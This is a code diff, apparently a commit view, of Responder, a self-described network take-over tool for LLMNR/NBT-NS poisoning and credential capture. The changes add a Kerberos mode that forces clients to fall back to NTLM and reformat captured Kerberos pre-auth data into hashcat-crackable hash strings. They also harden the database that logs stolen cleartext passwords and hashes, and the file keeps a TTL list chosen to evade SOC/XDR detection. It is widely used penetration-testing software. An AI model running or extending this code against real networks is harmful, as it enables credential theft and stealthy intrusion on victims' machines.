print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
@@ -664,6 +777,9 @@ class KerbUDP(BaseRequestHandler):
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check operation mode
|
||||
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
|
||||
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
@@ -687,14 +803,12 @@ class KerbUDP(BaseRequestHandler):
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
|
||||
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
|
||||
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
@@ -710,23 +824,55 @@ class KerbUDP(BaseRequestHandler):
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
if etype_num == 0x17 or etype_num == 0x18:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 7500): %s' % hash_value, 3, 1))
|
||||
elif etype_num == 0x12:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19900): %s' % hash_value, 3, 1))
|
||||
elif etype_num == 0x11:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19800): %s' % hash_value, 3, 1))
|
||||
else:
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
# First AS-REQ without pre-auth
|
||||
if kerberos_mode == 'FORCE_NTLM':
|
||||
# Force NTLM fallback mode
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR with ETYPE_NOSUPP
|
||||
krb_error = build_krb_error_force_ntlm(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'NTLM-Fallback-Forced',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
|
||||
})
|
||||
else:
|
||||
# Default CAPTURE mode - send pre-auth required
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
|
||||
14
settings.py
14
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.2.0.0'
|
||||
__version__ = 'Responder 3.2.2.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -178,6 +178,8 @@ class Settings:
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
self.ErrorCode = options.ErrorCode
|
||||
self.RDNSS_On_Off = options.RDNSS_On_Off
|
||||
self.DNSSL_Domain = options.DNSSL_Domain
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
@@ -231,6 +233,16 @@ class Settings:
|
||||
else:
|
||||
self.ExternalResponderIP6 = self.Bind_To6
|
||||
|
||||
# Kerberos operation mode: CAPTURE (AS-REP hashes) or FORCE_NTLM (force fallback)
|
||||
try:
|
||||
self.KerberosMode = config.get('Kerberos', 'KerberosMode').strip()
|
||||
if self.KerberosMode not in ['CAPTURE', 'FORCE_NTLM']:
|
||||
print('[Config] Invalid KerberosMode: %s, defaulting to CAPTURE' % self.KerberosMode)
|
||||
self.KerberosMode = 'CAPTURE'
|
||||
except:
|
||||
# Default to CAPTURE mode if not specified (backward compatible)
|
||||
self.KerberosMode = 'CAPTURE'
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
|
||||
301
utils.py
301
utils.py
@@ -20,6 +20,7 @@ import re
|
||||
import logging
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
import settings
|
||||
import datetime
|
||||
import codecs
|
||||
@@ -87,6 +88,9 @@ except:
|
||||
print("[!] Please install python-sqlite3 extension.")
|
||||
sys.exit(0)
|
||||
|
||||
# Thread lock for database operations to prevent "database is locked" errors
|
||||
_db_lock = threading.Lock()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
@@ -237,38 +241,117 @@ def Probe_IPv6_socket():
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
|
||||
def IsLinkLocal(ip):
|
||||
"""
|
||||
Check if an IPv6 address is link-local (fe80::/10).
|
||||
|
||||
Link-local addresses are in the range fe80:: to febf::
|
||||
"""
|
||||
if ip is None:
|
||||
return False
|
||||
ip_lower = ip.lower()
|
||||
# fe80::/10 means first 10 bits are 1111111010
|
||||
# This covers fe80:: through febf::
|
||||
return ip_lower.startswith('fe8') or ip_lower.startswith('fe9') or \
|
||||
ip_lower.startswith('fea') or ip_lower.startswith('feb')
|
||||
|
||||
|
||||
def GetLinkLocalIP6(Iface):
|
||||
"""
|
||||
Get the link-local IPv6 address for a specific interface.
|
||||
|
||||
Args:
|
||||
Iface: Interface name (e.g., 'eth0')
|
||||
|
||||
Returns:
|
||||
Link-local IPv6 address string, or None if not found
|
||||
"""
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(Iface)
|
||||
if netifaces.AF_INET6 not in addrs:
|
||||
return None
|
||||
|
||||
# Search through all IPv6 addresses for a link-local one
|
||||
for addr_info in addrs[netifaces.AF_INET6]:
|
||||
addr = addr_info.get("addr", "")
|
||||
# Remove interface suffix (e.g., "fe80::1%eth0" -> "fe80::1")
|
||||
clean_addr = addr.split('%')[0]
|
||||
if IsLinkLocal(clean_addr):
|
||||
return clean_addr
|
||||
|
||||
return None
|
||||
except (KeyError, IndexError, ValueError):
|
||||
return None
|
||||
|
||||
def FindLocalIP6(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
"""
|
||||
Find the IPv6 address to bind Responder's servers to.
|
||||
|
||||
FIXED LOGIC (prioritizes link-local):
|
||||
1. If user provided explicit IPv6 via -6 option, use that
|
||||
2. If interface is 'ALL', return '::' (bind to all interfaces)
|
||||
3. Try to get link-local address (fe80::) - THIS WORKS ON LOCAL NETWORKS
|
||||
4. Fallback to global IPv6 only if link-local not available
|
||||
5. Last resort: ::1 with warning
|
||||
|
||||
Args:
|
||||
Iface: Network interface name ('eth0') or 'ALL' for wildcard
|
||||
OURIP: User-provided IPv6 via -6 option, or None
|
||||
|
||||
Returns:
|
||||
IPv6 address string to bind to
|
||||
"""
|
||||
# Handle wildcard interface
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
|
||||
try:
|
||||
# PRIORITY 1: If user explicitly provided an IPv6 address with -6, use it
|
||||
# This preserves the original behavior for users who specify -6
|
||||
if IsIPv6IP(OURIP):
|
||||
return OURIP
|
||||
|
||||
# PRIORITY 2: Get link-local address (fe80::)
|
||||
# This is the FIX - link-local is ALWAYS reachable on local segment
|
||||
link_local = GetLinkLocalIP6(Iface)
|
||||
if link_local:
|
||||
return link_local
|
||||
|
||||
# PRIORITY 3: Fallback to global IPv6 via socket trick
|
||||
# Only used if no link-local available (rare on properly configured systems)
|
||||
try:
|
||||
# Connect to random IPv6 to determine source address
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP, 80))
|
||||
IP = s.getsockname()[0]
|
||||
s.close()
|
||||
if IP and IP != '::1':
|
||||
# Warn the user this might not work
|
||||
print(color('[!] Warning: No link-local IPv6 found, using global %s' % IP, 1, 1))
|
||||
print(color('[!] This address may not be reachable on local network!', 1, 1))
|
||||
return IP
|
||||
except:
|
||||
pass
|
||||
|
||||
# PRIORITY 4: Try to get any IPv6 from the interface
|
||||
try:
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
pass
|
||||
|
||||
# No IPv6 available at all
|
||||
print("[+] You don't have an IPv6 address assigned on %s." % Iface)
|
||||
return '::1'
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
try:
|
||||
|
||||
if IsIPv6IP(OURIP) == False:
|
||||
|
||||
try:
|
||||
#Let's make it random so we don't get spotted easily.
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP+':80', 1))
|
||||
IP = s.getsockname()[0]
|
||||
return IP
|
||||
except:
|
||||
try:
|
||||
#Try harder; Let's get the local link addr
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
IP = '::1'
|
||||
print("[+] You don't have an IPv6 address assigned.")
|
||||
return IP
|
||||
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
@@ -321,6 +404,7 @@ def NetworkRecvBufferPython2or3(data):
|
||||
def CreateResponderDb():
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||
@@ -336,68 +420,71 @@ def SaveToDb(result):
|
||||
result[k] = ''
|
||||
result['client'] = result['client'].replace("::ffff:","")
|
||||
if len(result['user']) < 2:
|
||||
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
text("[*] Skipping one character username: %s" % result['user'])
|
||||
#Generate to much output for nothing..
|
||||
#print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
#text("[*] Skipping one character username: %s" % result['user'])
|
||||
return
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
|
||||
if len(result['cleartext']):
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
|
||||
(count,) = res.fetchone()
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
|
||||
|
||||
if len(result['hostname']):
|
||||
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
|
||||
|
||||
if len(result['user']):
|
||||
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
|
||||
if len(result['cleartext']):
|
||||
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
|
||||
elif len(result['fullhash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
|
||||
(count,) = res.fetchone()
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
elif len(result['hash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||
elif len(result['cleartext']):
|
||||
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||
else:
|
||||
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
|
||||
|
||||
if len(result['hostname']):
|
||||
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
|
||||
|
||||
if len(result['user']):
|
||||
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
|
||||
|
||||
elif len(result['fullhash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
|
||||
|
||||
elif len(result['hash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
|
||||
|
||||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||
elif len(result['cleartext']):
|
||||
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||
else:
|
||||
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def SavePoisonersToDb(result):
|
||||
|
||||
@@ -405,32 +492,37 @@ def SavePoisonersToDb(result):
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
cursor.commit()
|
||||
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
cursor.close()
|
||||
|
||||
def SaveDHCPToDb(result):
|
||||
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
cursor.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||
@@ -492,7 +584,7 @@ def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
print('')
|
||||
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
|
||||
print(color("[*] ", 2, 1) + 'Tips jar:\n USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A\n BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49\n')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||
@@ -538,7 +630,6 @@ def StartupMessage():
|
||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||
|
||||
Reference in New Issue
Block a user